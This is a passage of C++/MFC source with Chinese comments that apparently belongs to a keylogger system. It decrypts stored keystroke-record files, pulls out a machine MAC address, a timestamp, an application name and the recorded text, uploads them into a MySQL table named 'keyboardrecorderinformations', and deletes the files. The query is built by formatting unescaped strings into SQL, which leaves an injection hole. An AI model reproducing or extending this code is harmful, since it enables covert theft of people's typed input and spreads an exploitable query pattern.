while((start = fileName.Find('\\')) != -1)
{
fileName = fileName.Right(fileName.GetLength()-start-1);
}
start = fileName.Find('.');
if(start != -1)
fileName = fileName.Left(start);
//解密文件名
dis.SetValue(fileName.GetBuffer(0));
fileName.ReleaseBuffer();
fileName = dis.DecryptFileName();
//取出文件名中的内容
dis.GetFileNameInfo(fileName,strMac,strTime);
char *buf=new char[file.GetLength()];
memset(buf,0,file.GetLength());
file.Read(buf,file.GetLength());
//解密文件内容
dis.SetValue(buf);
CString str;
str = dis.ProcessDecode();
file.Close();
dis.GetRecordInfo(str,strAppName,strRecordInfo);
CString strSql("");
strSql.Format("insert into keyboardrecorderinformations(mac,time,appName,recordInfo)\
values('%s','%s','%s','%s')",strMac,strTime,strAppName,strRecordInfo);
//上传MYSQL
tmpthis->dealData.ControlDataInsertOrRead(strSql);
remove(tmpFileData.fileName);
}
else
{
MessageBox(0,tmpFileData.fileName,"tmp",0);
}
}
else
{
remove(tmpFileData.fileName);
}
}
else
{
ResetEvent(tmpthis->hStorageEvent);
}
}
return 0;
}